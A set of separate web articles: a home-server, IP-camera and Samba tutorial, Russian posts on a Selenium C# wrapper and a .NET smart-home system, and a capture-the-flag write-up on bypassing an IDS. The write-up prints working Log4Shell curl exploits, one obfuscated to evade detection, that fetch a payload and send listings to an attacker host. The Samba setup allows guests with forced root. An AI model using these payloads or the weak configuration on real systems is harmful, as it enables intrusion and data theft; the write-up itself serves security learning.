If the site is ping-able and the IP is defined - everything fine. Now it's time to create the site itself.
For now, only one file will be enough - index.html. The simplest version of the site:
```
Welcome to this site!
Welcome to my site!
===================
```
Great, there is the source code to the simplest site, which so far consists of just one file. However, at the moment the only way to view our website is to save the above code to a file and then open it in a browser.
**Q**: Then how do we view our site from a work computer or phone?
**A**: Set up a local web server!
To do this, I install nginx - a program that 'll display our static content, in my case a single .html page.
Note: *nginx has a lot of other interesting features, but let's not go into them now*
It's done by the command:
`# pacman -S nginx nginx-mod-headers-more certbot-nginx`
The web server is installed, and with it some headers for it and certbot. In order for the site to have https and traffic encrypted I run certbot:
`# certbot --nginx`
I entered the email, domain and also specified that the traffic should be redirected from http to https. After certbot will edit the configuration file nginx. But this is not all the settings, so I'll add few more rows to the `/etc/nginx/nginx.conf` configuration file:
```
load_module "/usr/lib/nginx/modules/ngx_http_headers_more_filter_module.so"; # Add the dynamic library with headers for nginx web server
user http http; # Specify with which user nginx 'll run the web server
error_log logs/error.log; # Capture detailed information about errors and request processing in log files
error_log logs/error.log notice;
error_log logs/error.log info;
events {
worker_connections 1024; # Maximum number of simultaneous connections that each worker process can manage
}
http {
server_tokens off; # Hide nginx version in 404 page
include /etc/nginx/mime.types; # Include all mime types to correctly show them in browser
types_hash_max_size 4096; # Sets the maximum size of the types hash table
server_names_hash_bucket_size 128; # Sets the bucket size for the server names hash tables
more_set_headers "Server: serverrr"; # Specify the response header
add_header Server "Serverrr"; # Describes the software used by the origin server that handled the request
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; # HTTP Strict Transport Security is an excellent feature to support on your site and strengthens your implementation of TLS by getting the User Agent to enforce the use of HTTPS
add_header Content-Security-Policy "default-src 'self';" always; # CSP is an effective measure to protect your site from XSS attacks. By whitelisting sources of approved content, you can prevent the browser from loading malicious assets
add_header X-Frame-Options "SAMEORIGIN"; # X-Frame-Options tells the browser whether you want to allow your site to be framed or not. By preventing a browser from framing your site you can defend against attacks like clickjacking.
add_header X-Content-Type-Options "nosniff"; # X-Content-Type-Options stops a browser from trying to MIME-sniff the content type and forces it to stick with the declared content-type
add_header 'Referrer-Policy' 'same-origin'; # When a user clicks a link on one site, the origin, that takes them to another site, the destination site receives information about the origin the user came from. This is how we get metrics like those provided by Google Analytics on where our traffic came from.
add_header Permissions-Policy "geolocation=(),midi=(),sync-xhr=(),microphone=(),camera=(),magnetometer=(),gyroscope=(),fullscreen=(self),payment=()"; # This header allows a site to control which features and APIs can be used in the browser.
server {
server_name ;
server\_name ;
listen 443 ssl; # managed by Certbot
ssl\_certificate /etc/letsencrypt/live//fullchain.pem; # managed by Certbot
ssl\_certificate\_key /etc/letsencrypt/live//privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
ssl\_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
root ; # Specify the root directory that 'll be used to search for a file
location / {
index index.html; # The greetings html file
}
}
server {
if ($host = ) {
return 301 https://$host$request\_uri;
} # managed by Certbot
if ($host = ) {
return 301 https://$host$request\_uri;
}
listen 80;
server\_name ;
server\_name ;
return 404; # managed by Certbot
}
}
```
After the config is done, nginx can be started:
`# systemctl enable nginx --now`
And it is necessary to open ports 80 and 443 in the firewall, so that it was possible to access the web server via http and https:Buying an IP camera, recording from the camera to the server
`# ufw allow 80`
`# ufw allow 443`
Now if I go from work computer or phone to the address: `https://` then a welcome message should be displayed.
Awesome site is ready, but it's local, which means users from another network won't be able to go to it and see my frontend skills. In order to solve this problem I need to forward the ports on the router. To do this I again go to 192.168.0.1 and go to Forwarding -> Virtual Servers. Here I add a new rule where specify that port 80 should be triggered to the local server IP. The same thing I do the same with the 443 port.
What happens when we add a rule?
From now when the user enters the domain of my site in the url string and presses Enter, it 'll go to my public ip address on port 443. Router looks where this port leads - to which local IP address (in this case server local IP). And redirects the request to our home server. Then the home server sends the result of the request (index.html file) and the user sees it in his browser. (\*Very simplified, but enough to understand the overall structure. If you wanna know more about what happens, write a comment and I'll write a separate article, where this point will be described in details).
Now every user on the Internet can go to my site!
3. Buying an IP camera, recording from the camera to the server
---------------------------------------------------------------
Okay, I have a server where I can upload some files, and my website is hosted on it as well. But then what? It's extremely boring to just sit there and look at the only page of the site, though from another network.
Then I saw on Ebay IP camera, which is clearly cheaper than similar ads. I met with the camera guy and he told me that he had bought this camera relatively recently, but **"he couldn't make it possible to watch video online from an external network"**. I figured I could do it, ~~I'm a Linux user and have a googling skills after all~~, and I bought a D-Link DCS-2132L/B.
Brought it home, unpacked, connected it via Ethernet to the router, as well as to the power outlet. Idk if it's on or if it even works yet, but the first thought that came to me was to go to the router settings and look at the list of connected devices to find the IP address of the camera, and then just type that IP in the search box and see what happens. Once again I go to the router settings -> DHCP -> "DHCP Client List" and look for smth similar to camera device. Once I found my DCS-2132L I copy the IP and go to it.
A window opens with the entry of the login and password. Trying the standard
`login: admin, password: admin`
and... unfortunately, it didn't work. I'm looking on the Internet to find out how to get into the camera settings and finally I found an option where I had to specify
`login: admin, password:`
Tried it an... it doesn't work either. Still not very good, what to do?
Oh, exactly, on the camera there is a reset button! I clamped it for 15 seconds and the camera is reset to factory settings. Re-login again - and damn yeah, I'm in. I can see a picture from the camera and a bunch of some settings.
On the first thing I changed the password from the admin account and added a new user with fewer rights. Great, now there is an account where the user can view the video, but don't do any changes. The picture is very slow to be honest, so i changed the resolution from 1280x720 to 800x448 and change the codec from H.264 to JPEG. Now the picture can give out even 25 FPS.
Video movements became much smoother. To watch live broadcast from local network just go to link:
`http:///video1.mjpg`
Again, watching only from the local network isn't interesting, so I wanna add the ability to watch live streaming from an external network. To do this I add to nginx configuration file in the `server` block the following lines:
```
location = /camera {
proxy_pass http:///video1.mjpg;
}
```
And surely reload the config:
`# systemctl reload nginx`
Great, now when someone goes to the address `https:///camera` he'll get a window with username and password. Without the credentials no one 'll have access to the video from the camera. And this is good.
But you must admit that we don't always have time to see what is going on in the camera, so it'd be good if the recording would go directly to the server and we could get access to the video files at any time. Looking in the settings of the camera, we can see the section Setup -> Event Setup.
There is a possibility to configure separately where and what will be recorded. In the subsection `Server` we can specify where the video/photos/logs from the camera 'll be recorded. There are a total of 4 options where we can record:
* Email
* FTP
* Network Storage
* SD Card
Just below we can see the next item - `Media`. Here it is possible to specify what to save:
* Snapshots
* Videos
* Logs
Then it's possible to configure when we need to make a record, this is done in the item `Event`. There are such options when it's possible to record:
* Video motion event
* Periodic
* Digital input
* System boot
* Network lost
* Passive infrared sensor
* Sound detection
Also in this tab it's possible to configure at which days (and hours) the event 'll be "listened on". This event and among other things here specifies where the recording 'll go.
And the last item in the tab - `Recording`. In this tab we choose on what days (and hours) the full recording of what happens on the camera, and it's possible to configure where the recording 'll be made + its size (or duration).
After I got acquainted with all the possible settings I decided to set up FTP and record video from the camera via it.
### Installing and configuring FTP
Firstly, install the needed package from the repository:
`# pacman -S vsftpd`
After this create a new user, through which we 'll connect to the server:
`# useradd ftpuser`
And also add a password to it:
`# passwd ftpuser`
Great, opened up the required ports so that we can connect to the server:
`# ufw allow 21`
Afterwards I created a new directory where files from camera will be saved:
`# mkdir /var/www/camera_videos`
Thereafter changed the owner of that directory:
`# chown ftpuser /var/www/camera_videos`
All that remains is to modify the vsftpd configuration file `/etc/vsftpd.conf`:
```
anonymous_enable=NO # Disable anonymous
local_enable=YES # Allow local users to log in
write_enable=YES # Allow to write smth on our server
nopriv_user=ftpuser # A user which the ftp server can use as a totally isolated and unprivileged user.
chroot_list_enable=YES # Mark that we 'll use a list of users that can be chroot'ed
chroot_list_file=/etc/vsftpd.chroot_list # Specify the path to the file with chroot'ed users
allow_writeable_chroot=YES # Allow chroot()'ing a user to a directory writable by that user
local_root=/var/www/camera_videos # Specify the default directory for ftp connections
```
Now create a list with the users: `/etc/vsftpd.chroot_list`, where I added only one newly created user: `ftpuser`
Eventually the ftp service can be run:
`# systemctl enable vsftpd --now`
And we can test the connection to the server through ftp:
`$ ftp`
Next, I entered the login and password from ftp user and I can view the contents of the directory with `ls`, create a directory with `mkdir` or transfer some local files to the remote server.
Then I went to the camera settings via it IP, go to Setup -> Event Setup -> Server, add a new ftp server, where I give the server a name, specify the server address, the port on which I'll connect, the name of the ftp user and his password. Then press the Test button and see the message: Test Ok. It means that everything is configured correctly and the camera can now record video to the server via ftp.
*In order to make sure that the test connection to the server was successful in the directory specified in local\_root in the vsftpd configuration file, there should be a test.txt file with the following content: "*`The Result of Server Test of Your IP Camera.`". If it present - the camera has established contact with the server.
Save the server settings and go to the item below - `Media`. There I specified Media name, also chose video and which video profile to use. The video duration, its maximum size in Kbytes and the prefix which will be added before the name of the recorded video were specified as well.
Note: *For the ftp server, the maximum video file size can be 5 MBytes.*
The next item is setting up `Event`. Again, I gave a name to the event, select the trigger - Video Motion Detection, the time when this trigger should be active leave the default (always on), specified which server to use for recording and which Media to take.
Save the settings and move on to select the area to trigger Motion Detection: Setup -> Motion Detection. To use motion detection, you must first select the checkboxes and then select the areas you want to monitor for motion with the mouse.
Walk in front of the camera and look at the contents of the directory `/var/www/camera_videos` on the server - there should appear a new file that begins with the prefix specified in Media and the date the video was created.
With this setting:
> **Frame size**: 800x448
> **Maximum frame rate**: 25
> **Video quality**: Standard
> **Mode**: JPEG
> **Pre-event recording**: 2 seconds
> **Maximum duration**: 100 Seconds
> **Maximum file size**: 5000 Kbytes
>
>
I got the video with such metadata:
```
{
"FileName": "motion_20210806_172133.mp4",
"FileSize": "5.1 MB",
"FileModifyDate": "2022:08:06 17:21:33+03:00",
"FileAccessDate": "2022:08:06 17:23:47+03:00",
"FilePermissions": "-rw-------",
"FileType": "MP4",
"Duration": "10.24 s",
"Encoder": "Lavf54.63.104",
"TrackDuration": "10.21 s",
"ImageWidth": 800,
"ImageHeight": 448,
"XResolution": 72,
"YResolution": 72,
"BitDepth": 24,
"VideoFrameRate": 25.159,
"MediaDuration": "10.24 s",
"AudioChannels": 2,
"AudioBitsPerSample": 16,
"AudioSampleRate": 8000,
"MediaDataSize": 5075314,
"MediaDataOffset": 60044,
"ImageSize": "800x448",
"Megapixels": 0.358,
"AvgBitrate": "3.97 Mbps",
}
```
As we can see, on average it is about 10-second video of relatively good resolution.
And now we already have our own budget "security system", but smth is missing again.... Exactly - recordings of what's going on on the camera at all times, 24/7.
4. Problem with recording video directly to the server
------------------------------------------------------
Well, let's go to the `Recording` tab and try to start recording via ftp. But I found that I can't even select FTP server. Why is that? Do you remember in the previous section I mentioned the write limit is only 5 MBytes, while the maximum limit is 50 MBytes? Turns out that the camera supports writing more than 5 MBytes, only to the SD card. This is extremely disappointing, it appears that everything I did was a waste of time? If I can't record video 24/7 then what's the point of the camera? Yes, I can watch the online broadcast from external network and I've Motion Detection, but it's pointless if I can't review the camera recordings over a period of time. I'm writing to D-Link support with the hope that I haven't noticed some secret clause and it's still possible to record directly to the server, not to the SD card.
The variant with the SD card is bad because it has a limited capacity (mostly 16-32 Gbytes). And what is 32 Gbytes of video?
If we take those settings I gave above, then after simple calculations we can get the "1 day recording volume":
5.1 MBytes / 10.21 sec = 0.499510284 MBytes/sec, in other words 86400 sec (1 day) \* 0.499510284 MBytes/sec = 43157.6885376 MBytes (~43.1576885376 GBytes).
Even if I take an ordinary 32 GBytes microSD card, it won't even enough for 1 day!
While I was waiting for a reply from the support, I decided to buy a 32 GBytes card hoping that it'd be possible to transfer the data from SD to the server automatically. Bought a micro SD card, put it in the camera. Now went to the camera settings - Setup -> Event Setup and add a new server, where I chose SD Card.
Then I go to the item `Recording` and add a new item, where specify the profile from which to record, the size of a single video, as well as the size at which the video will begin to be re-recorded.
The Setup -> SD Card tab allows to view the contents of microSD card. The videos are conveniently sorted by day as well as by hour.
Thus it'd be easy to find the video of the desired time fragment.
Everything seems to work, it records videos to the SD card, but in order to view them, the video must first be downloaded locally. And as you understand, even with a pretty good Internet, downloading videos is not an option. This is a monotonous and routine work that should be automated, because it is Sisyphus work to download each video separately to your computer and then transfer it to the server.
And then I got a reply from D-Link’s support. I hopefully open the letter and see:
`"Unfortunately, it looks like the model number of your D-Link device is discontinued, and free technical assistance has already ended"`~~Thanks for the reply, much appreciated, so useful~~
Unfortunately, D-Link didn’t help me, so I’ll have to find a solution myself.
5. Recording solution
---------------------
I'm not going to give up. If necessary, I will personally re-flash the camera circuit board, twist every wire, connect it directly to the server, and run it as a built-in camera. Of course it's too early to go to extremes yet, but if shit happens I'm ready.
In the meantime, let's see what options I have and what I can do:
1. Hide in a corner and cry
2. Leave everything as is
3. Search for the answer on the Internet, how other people have solved it
For now, let's leave the first two options for later. I started googling how to record video from the camera directly to the server and in one of the posts I see that the guy can connect to his camera directly via ssh. I decided that I'm not worse, maybe I can do this with my camera too. I scanned the ports in the hope that 22 is still open and... only ports open for http, https, rtsp and upnp.
I went to look for the documentation of the camera and saw that the firmware update v1.08.03 had the ssh port closed. So I decided to dig up the firmware version below v1.08.03 and download it. And I even found the needed version, so I try to update it in Maintenance -> Firmware Upgrade, but even here I failed - no downgrade is possible.
At this point I really had a thought that that was it, the end...
Then I remembered that there are a few more options to add servers beside the FTP server and the SD card. I quickly go in there and see - Email and Network Storage. Version with **Email** was discarded at once, because direct recording from camera to server would be impossible, it can only
send the whole video and even then free api have their own limitations (eg, google mail api have limit to send a file above 35 MBytes), and to set up my own mail server seemed not the brightest idea (just for this specific purpose, but in general it's very interesting and useful to have a personal mail server, at least for secure reasons).
So there remains one last option - **Network Storage**. And it seems that this is it, my last chance for a happy, successful life. I start googling about this option on the camera, whether it's possible to write video directly to the server. Didn't find a straight answer to my question, but noticed that a huge number of people failed to add their server as a NAS to the camera.
In the example saw what I need to enter in the fields to connect to the server and realized that it's about samba server.
 Okay, I'll try to set up samba server, and then connect to it as well as by ftp, maybe I can kick it.
### Installing and configuring samba
Install the package from the repository:
`# pacman -S samba`
Edit the config file `/etc/samba/smb.conf`:
```
[global]
server role = standalone server
map to guest = Bad User
usershare allow guests = yes
hosts allow = 192.168.0.0/16
log file = /var/log/samba/%m.log
log level = 1 auth:5 winbind:5
smb ports = 139
idmap config * : backend = tdb
idmap config * : range = 3000-7999
idmap config SAMDOM:backend = ad
idmap config SAMDOM:schema_mode = rfc2307
idmap config SAMDOM:range = 10000-999999
idmap config SAMDOM:unix_nss_info = yes
vfs objects = acl_xattr
map acl inherit = yes
store dos attributes = yes
server min protocol = NT1
client min protocol = NT1
[recordings]
comment = recordings from cam
path = /var/www/recordings
read only = no
guest ok = yes
force user = root
force group = root
```
After the configuration file has been set up, start the samba service:
`# systemctl enable smb --now`
and don't forgot about
`# systemctl enable nmb --now`.
Also open port for smb protocol:
`# ufw allow from 192.168.0.0/24 to any port 139`
Then the samba server can be added to the camera:
Press the Test button and get Test Ok.
Now try to record directly to our server, go to Setup -> Event setup -> Recording, add a new item and see that in addition to the SD card there is another option where a record can be written - `SAMBA` . Select it, change the size of rewritable files and save.
Turn on the setting and see that in the directory that was specified in `smb.conf` appeared directory `Video`. The general structure of the directory is approximately as follows:
```
.
├── test.txt
└── Video
├── 20220801
│ ├── 21
│ ├── 22
│ └── 23
├── 20220802
│ ├── 00
│ ├── 01
│ ├── 02
│ └── 03
└── 20220803
├── 17
├── 18
├── 19
└── 20
```
Great, now I have both video recording and motion detection set up. Everything works exactly as I wanted it to.
6. What I learned from this experiment
--------------------------------------
During the server setup, as well as solving problems that gradually appear on my way I figured out how to set up an ftp server, how to configure a samba server, played with the camera and its configuration. Dug deeper into how to configure ssh, how to make nginx web server more secure, which headers to include and much more besides. It has been a very interesting and educational experience but I'd recommend its repetition only for those who sincerely wanna understand how each technology works "under the hood".
Wish you all success and more patience to yourself! Good luck | https://habr.com/ru/post/682148/ | null | en | null |
# Автоматизированное тестирование веб-приложения (MS Unit Testing Framework + Selenium WebDriver C#). Часть 2.1: Selenium API wrapper — Browser
##### Введение
Снова здравствуйте! Представляю вам вторую часть статьи на тему автоматизированного тестирования веб-приложения на Selenium и C#. И если первая часть была из разряда «капитан очевидность», что вызвало негодование у читателей, то в этой части будет много кода. И так, зачем же писать обертку (wrapper) над Selenium API? На мой взгляд, пользователи могут столкнуться со следующими проблемами:
* Интерфейс IWebDriver предоставляет довольно скудную функциональность в плане управления браузером. Поэтому все, что нам понадобится, придется писать самим
* Описание элемента происходит одновременно с его поиском, т.е. на момент определения элемента он должен существовать в браузере. Очень часто решается путем написания getter для каждого элемента. Это накладно и плохо с точки зрения производительности
* ISearchContext.FindElements принимает только один параметр типа OpenQA.Selenium.By, т.е. мы не можем искать сразу по нескольким свойствам. Обычно элемент ищется по первому критерию, а затем начинается отсеивание по остальным
* Отсутствие многих, казалось бы, очевидных методов и свойств. Например: Exist, SetText, Select, SetCheck, InnerHtml и т.д. Вместо этого мы вынуждены довольствоваться Click, SendKeys и Text
* Множество проблем на различных браузерах, например на Firefox и Chrome элемент кликается, а на IE — нет. Приходится писать special cases, «костыли»
* Производительность. Да, драйвера работают не быстро. Впереди планеты всей как обычно IE — поиск может занимать секунды, иногда и десятки секунд
Ну что ж, много проблем — много решений. Я не хочу и не смогу изложить все и сразу в этой части. Длинный пост будет неинтересен, да и во время его написания энтузиазм резко падает) Поэтому эта часть имеет номер 2.1, в ней я покажу свой wrapper над браузером.
##### Ссылки
[Часть 1: Введение](http://habrahabr.ru/post/178321/)
[Часть 2.1: Selenium API wrapper — Browser](http://habrahabr.ru/post/180047/)
[Часть 2.2: Selenium API wrapper — WebElement](http://habrahabr.ru/post/180357/)
[Часть 3: WebPages — описываем страницы](http://habrahabr.ru/post/180705/)
[Часть 4: Наконец-то пишем тесты](http://habrahabr.ru/post/181558/)
[Публикация фреймворка](https://autotests.codeplex.com/)
##### Поехали. Реализация враппера над браузером: класс Browser
Я очень надеюсь, что приведенный код не покажется вам сложным.
В примере инкапсулирован весь специфический для IWebDriver код, трусы наружу не высовываются, т.е. разработчики автотестов не будут иметь прямого доступа к драйверу. Как следствие — наличие методов, в которых вызывается метод драйвера с таким же названием.
В коде нет комментариев — это хороший тон, и как сказал один умный чел: «Комментарии в коде это как волосы в супе. Ты бы стал есть суп с волосами?!»
Я использую Microsoft Code Contracts, не пугайтесь вызовов.
Еще стоит заметить, что в тестируемом продукте подключен jquery, и некоторые действия будут производиться с его использованием.
Класс Browser поддерживает 3 браузера:
* Firefox
* Chrome
* Internet Explorer
Очень жаль, что пока нет C# драйверов для Opera :(
Реализован набор стандартных методов и свойств вроде:
* Start
* Quit
* Navigate
* NavigateBack
* Refresh
* WaitReadyState
* FindElements
* SelectedBrowser
* Url
* Title
* PageSource
* др.
Думаю, названия вполне очевидные, поэтому идем дальше.
Также реализованы специфические функции:
* WaitAjax
* SwitchToFrame
* SwitchToPopupWindow
* AcceptAlert
* GetScreenshot + SaveScreenshot
* ResizeWindow
* ExecuteJavaScript
* DragAndDrop
* др.
```
namespace Autotests.Utilities
{
[Serializable]
public enum Browsers
{
[Description("Windows Internet Explorer")]
InternetExplorer,
[Description("Mozilla Firefox")]
Firefox,
[Description("Google Chrome")]
Chrome
}
public static class Browser
{
#region Public properties
public static Browsers SelectedBrowser
{
get { return Settings.Default.Browser; }
}
public static Uri Url
{
get { WaitAjax(); return new Uri(WebDriver.Url); }
}
public static string Title
{
get
{
WaitAjax();
return string.Format("{0} - {1}", WebDriver.Title, EnumHelper.GetEnumDescription(SelectedBrowser));
}
}
public static string PageSource
{
get { WaitAjax(); return WebDriver.PageSource; }
}
#endregion
#region Public methods
public static void Start()
{
_webDriver = StartWebDriver();
}
public static void Navigate(Uri url)
{
Contract.Requires(url != null);
WebDriver.Navigate().GoToUrl(url);
}
public static void Quit()
{
if (_webDriver == null) return;
_webDriver.Quit();
_webDriver = null;
}
public static void WaitReadyState()
{
Contract.Assume(WebDriver != null);
var ready = new Func(() => (bool)ExecuteJavaScript("return document.readyState == 'complete'"));
Contract.Assert(Executor.SpinWait(ready, TimeSpan.FromSeconds(60), TimeSpan.FromMilliseconds(100)));
}
public static void WaitAjax()
{
Contract.Assume(WebDriver != null);
var ready = new Func(() => (bool)ExecuteJavaScript("return (typeof($) === 'undefined') ? true : !$.active;"));
Contract.Assert(Executor.SpinWait(ready, TimeSpan.FromSeconds(60), TimeSpan.FromMilliseconds(100)));
}
public static void SwitchToFrame(IWebElement inlineFrame)
{
WebDriver.SwitchTo().Frame(inlineFrame);
}
public static void SwitchToPopupWindow()
{
foreach (var handle in WebDriver.WindowHandles.Where(handle => handle != \_mainWindowHandler)) // TODO:
{
WebDriver.SwitchTo().Window(handle);
}
}
public static void SwitchToMainWindow()
{
WebDriver.SwitchTo().Window(\_mainWindowHandler);
}
public static void SwitchToDefaultContent()
{
WebDriver.SwitchTo().DefaultContent();
}
public static void AcceptAlert()
{
var accept = Executor.MakeTry(() => WebDriver.SwitchTo().Alert().Accept());
Executor.SpinWait(accept, TimeSpan.FromSeconds(5));
}
public static IEnumerable FindElements(By selector)
{
Contract.Assume(WebDriver != null);
return WebDriver.FindElements(selector);
}
public static Screenshot GetScreenshot()
{
WaitReadyState();
return ((ITakesScreenshot)WebDriver).GetScreenshot();
}
public static void SaveScreenshot(string path)
{
Contract.Requires(!string.IsNullOrEmpty(path));
GetScreenshot().SaveAsFile(path, ImageFormat.Jpeg);
}
public static void DragAndDrop(IWebElement source, IWebElement destination)
{
(new Actions(WebDriver)).DragAndDrop(source, destination).Build().Perform();
}
public static void ResizeWindow(int width, int height)
{
ExecuteJavaScript(string.Format("window.resizeTo({0}, {1});", width, height));
}
public static void NavigateBack()
{
WebDriver.Navigate().Back();
}
public static void Refresh()
{
WebDriver.Navigate().Refresh();
}
public static object ExecuteJavaScript(string javaScript, params object[] args)
{
var javaScriptExecutor = (IJavaScriptExecutor)WebDriver;
return javaScriptExecutor.ExecuteScript(javaScript, args);
}
public static void KeyDown(string key)
{
new Actions(WebDriver).KeyDown(key);
}
public static void KeyUp(string key)
{
new Actions(WebDriver).KeyUp(key);
}
public static void AlertAccept()
{
Thread.Sleep(2000);
WebDriver.SwitchTo().Alert().Accept();
WebDriver.SwitchTo().DefaultContent();
}
#endregion
#region Private
private static IWebDriver \_webDriver;
private static string \_mainWindowHandler;
private static IWebDriver WebDriver
{
get { return \_webDriver ?? StartWebDriver(); }
}
private static IWebDriver StartWebDriver()
{
Contract.Ensures(Contract.Result() != null);
if (\_webDriver != null) return \_webDriver;
switch (SelectedBrowser)
{
case Browsers.InternetExplorer:
\_webDriver = StartInternetExplorer();
break;
case Browsers.Firefox:
\_webDriver = StartFirefox();
break;
case Browsers.Chrome:
\_webDriver = StartChrome();
break;
default:
throw new Exception(string.Format("Unknown browser selected: {0}.", SelectedBrowser));
}
\_webDriver.Manage().Window.Maximize();
\_mainWindowHandler = \_webDriver.CurrentWindowHandle;
return WebDriver;
}
private static InternetExplorerDriver StartInternetExplorer()
{
var internetExplorerOptions = new InternetExplorerOptions
{
IntroduceInstabilityByIgnoringProtectedModeSettings = true,
InitialBrowserUrl = "about:blank",
EnableNativeEvents = true
};
return new InternetExplorerDriver(Directory.GetCurrentDirectory(), internetExplorerOptions);
}
private static FirefoxDriver StartFirefox()
{
var firefoxProfile = new FirefoxProfile
{
AcceptUntrustedCertificates = true,
EnableNativeEvents = true
};
return new FirefoxDriver(firefoxProfile);
}
private static ChromeDriver StartChrome()
{
var chromeOptions = new ChromeOptions();
var defaultDataFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\..\Local\Google\Chrome\User Data\Default";
if (Directory.Exists(defaultDataFolder))
{
Executor.Try(() => DirectoryExtension.ForceDelete(defaultDataFolder));
}
return new ChromeDriver(Directory.GetCurrentDirectory(), chromeOptions);
}
#endregion
}
}
```
Возможно стоит прокомментировать, что Settings.Default.Browser — это параметр, который задается в свойствах проекта, а Executor.SpinWait — некоторый хелпер, который дожидается выполнения условия с таймаутом и возвращает true/false. Так же встречаются magic strings, извиняюсь) | https://habr.com/ru/post/180047/ | null | ru | null |
# Мой умный дом на .NET
В последнее время на хабре много статей про умный дом. В основном все они касаются взаимодействия с домашними устройствами. Для автоматического принятия решений используют [MajorDoMo](http://habrahabr.ru/post/141766/), [Ninja Blocks](http://habrahabr.ru/company/contactless/blog/214381/) или собственные велосипеды.
Уже около года я пишу yet another home automation систему управления домом по сценариям. Т.е. она позволяет навешивать произвольную логику на различные домашние события. Предлагаю ее на ваш строгий суд.
[Описание и дистрибутив](http://thinking-home.ru/system)
На мой взгляд, система имеет довольно удачную архитектуру и, с помощью механизма плагинов, легко интегрируется с любым железом. Например, я пробовал написать плагины для управления светом через nooLite и для работы с IP-камерой — это, действительно, просто (посмотрите [документацию](http://thinking-home.ru/system)). Сценарии пишутся на Java Script (через Web UI), сама система написана на .NET (я выложил исходный код на [github](https://github.com/dima117/thinking-home)).
Не думаю, что смогу таким образом заработать деньги, но я уже получил много удовольствия, работая над этим проектом. Я пишу сюда, надеясь, что вы попробуете использовать систему и дадите мне обратную связь (а если кому-нибудь понравится и он захочет поучаствовать в ее развитии, я буду просто счастлив :)
Спасибо за внимание!
UPD. Архитектура системы
UPD. Пример сценария
Сценарии пишутся на языке Java Script ([вы до сих пор не любите JavaScript?](http://habrahabr.ru/post/214087/)). Из сценариев доступны возможности подключенных плагинов. Вы можете написать свой плагин и вызывать его команды из сценариев.
Например, вот так можно сфотографировать IP-камерой посетителя, который приходил, пока вас не было дома (повесить этот сценарий на нажатие кнопки дверного звонка).
```
var camera = host.getPlugin("DCS933"); // DCS933 - плагин для работы с камерой D-Link DCS-933
var bytes = camera.executeMethod("getCurrentImage");
host.getPlugin("email").executeMethod("send", "myemail@gmail.com", "Пропущенный посетитель!", "", bytes);
```
UPD. Устройства
В первую очередь, хотелось написать систему для автоматического принятия решений (по сценариям), поэтому она не завязана на какое-то конкретное железо. В системе есть механизм плагинов (работает при помощи MEF). С его помощью можно подключить практически любые устройства, с которыми может взаимодействовать компьютер (в т.ч. самодельные).
Я написал плагины для работы с [nooLite](http://www.noo.com.by/sistema-noolite.html) и IP-камерами [D-Link DCS-933](http://www.dlink.ru/ru/products/1433/1807.html) (эти плагины входят в число базовых). Но они были написаны, в первую очередь для того, чтобы на себе почувствовать, сложно ли писать плагины для системы. Я постарался написать подробную документацию о том, как писать собственные плагины. Если у вас возникнут вопросы или трудности при интеграции с железом, напишите мне (например, через хабр).
UPD. Планы по развитию проекта?
То, что сейчас лежит на сайте — это первая версия системы, которую можно использовать. Там сейчас только базовые плагины и крайне скудный UI. До лета планирую сильно переработать UI (объединить веб-приложение с сервисом, и сделать что-то вроде маленькой CMS для настройки панели управления домом). Также планирую расширить список стандартных плагинов. Точно будут плагины с будильниками, с прогнозом погоды и с обработкой голосовых команд (через Microsoft Speech API — оно работает локально, качество распознавания довольно хорошее). И еще будет установка плагинов через Интернет из галереи плагинов (это уже сделано, работает через nuget, осталось поднять сайт с галереей плагинов).
Если нужны какие-то еще возможности, пожалуйста, напишите в комментариях. | https://habr.com/ru/post/214387/ | null | ru | null |
# IDS Bypass at Positive Hack Days 11: writeup and solutions
The IDS Bypass contest was held at the Positive Hack Days conference for the third time (for retrospective, here's . This year we created six game hosts, each with a flag. To get the flag, participants had either to exploit a vulnerability on the server or to fulfill another condition, for example, to enumerate lists of domain users.
The tasks and vulnerabilities themselves were quite straightforward. The difficulty laid in bypassing the IDS: the system inspected network traffic from participants using special rules that look for attacks. If such a rule was triggered, the participant's network request was blocked, and the bot sent them the text of the triggered rule in Telegram.
And yes, this year we tried to move away from the usual CTFd and IDS logs towards a more convenient Telegram bot. All that was needed to take part was to message the bot and pick a username. The bot then sent an OVPN file to connect to the game network, after which all interaction (viewing tasks and the game dashboard, delivering flags) took place solely through the bot. This approach paid off 100%!
This year's visualization of the contest surpassed all expectations. At the stand, seven CRT TVs served as monitors: one for each task and one for general information. The screens displayed a dashboard as well as information about the number of participants and the number of hacks on the services.
The number of participants this year set a new record. This was partly because IDS Bypass was accessible online to anyone and through the night: at the end of the contest, the main scoreboard displayed 101 participants, roughly a quarter of whom had solved at least one task. In total, IDS Bypass lasted almost 30 hours.
Now let's take a look at the tasks.
Task 1: Log4j (20 points)
-------------------------
This task was worth 20 points, reduced by one point for each solution. As the name implies, the task was to exploit the notorious Log4Shell vulnerability in the popular Log4j library. The vulnerable application in this case was a [Docker container](https://github.com/christophetd/log4shell-vulnerable-app). You can also find the exploit there:
```
curl -v http://10.0.0.10:8080 -H 'X-Api-Version: ${jndi:ldap://10.8.0.18:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTAuOC4wLjE4OjQ0NDQgLS11c2VyLWFnZW50PSIkKHB3ZDsgbHMgLWxhOyBpZmNvbmZpZyki}'
```
This kind of attack is detected by the IDS, and the participant sees a message like the following:
`ATTACK [PTsecurity] log4j RCE aka Log4Shell TCP attempt (CVE-2021-44228)`
A few months back, shortly after the exploit for Log4Shell was posted, variants of it for WAF and IDS bypass started to appear. For example, the same exploit can be found in the [GitHub repository](https://github.com/34zY/JNDI-Exploit-1.2-log4shell), but with obfuscated control constructs. The request that ultimately exploits the vulnerability and bypasses the IDS could look as follows:
```
curl -v http://10.0.0.10:8080 -H 'X-Api-Version: ${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/10.8.0.26:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTAuOC4wLjI2OjQ0NDQgLS11c2VyLWFnZW50PSIkKGxzIC1sYSAvOyBjYXQgL2ZsYWcpIg==}'
```
Having delivered the payload and accepted a connection to port 4444, we get the flag: flag{L0g\_FOR\_Wh4t?}
Task 2: Zabbix (20 points)
--------------------------
